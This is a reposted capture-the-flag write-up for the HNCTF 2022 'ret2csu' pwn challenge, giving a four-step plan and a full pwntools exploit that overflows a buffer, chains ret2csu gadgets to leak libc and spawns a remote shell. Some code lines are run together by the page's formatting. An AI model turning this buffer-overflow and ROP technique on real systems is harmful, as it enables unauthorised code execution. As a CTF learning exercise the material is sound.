【PWN · ret2csu】[HNCTF 2022 WEEK2]ret2csu

编程入门 行业动态 更新时间:2024-10-17 11:22:34

【PWN · <a href=https://www.elefans.com/category/jswz/34/681598.html style=ret2csu】[HNCTF 2022 WEEK2]ret2csu"/>

【PWN · ret2csu】[HNCTF 2022 WEEK2]ret2csu

记一道ret2csu


一、题目

 

二、思路

1.ret2csu用write泄露write的真实地址->泄露libc->获得system的真实地址

2.ret2csu用read写/bin/sh字符串到bss段上

3.ret2csu用write将system的真实地址写到bss段上

4.ret2csu调用system

三、exp

from pwn import *
from pwn import p64
from LibcSearcher import *
context(arch='amd64',log_level='debug')# io=process('./pwn')
io=remote('node5.anna.nssctf',28036)
elf=ELF('./pwn')
# libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
write_got=elf.got['write']
read_got=elf.got['read']io.recvuntil(b'Input:\n')def ready_csu(rdi,rsi,rdx,func_ptr_addr):payload=p64(0x4012A6)payload+=b'junkbyte'payload+=p64(0)payload+=p64(1)payload+=p64(rdi)payload+=p64(rsi)payload+=p64(rdx)payload+=p64(func_ptr_addr)return payloaddef exec_csu(choice,rdi=-1,rsi=-1,rdx=-1,func_ptr_addr=-1):payload=p64(0x401290)if choice:payload+=b'deadbeef'*7else:payload+=b'junkbyte'payload+=p64(0)payload+=p64(1)payload+=p64(rdi)payload+=p64(rsi)payload+=p64(rdx)payload+=p64(func_ptr_addr)return payload# gdb.attach(io)        
success('bss-addr:{}'.format(hex(elf.bss())))
raw_input()
start=0x401090payload=b'a'*(0x100+8)
payload+=ready_csu(1,write_got,0x8,write_got)+exec_csu(0,0,elf.bss()+0x500,0x100,read_got)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')write_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
io.send(b'/bin/sh\x00')
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
success('write:{}'.format(hex(write_addr)))payload=b'a'*(0x100+8)
payload+=ready_csu(0,elf.bss()+0x550,0x100,read_got)+exec_csu(0,elf.bss()+0x500,0,0,elf.bss()+0x550)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')
io.send(p64(system_addr))
raw_input()
io.interactive()

更多推荐

【PWN · ret2csu】[HNCTF 2022 WEEK2]ret2csu

本文发布于:2023-11-15 11:37:43,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1598941.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:ret2csu   PWN   HNCTF

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!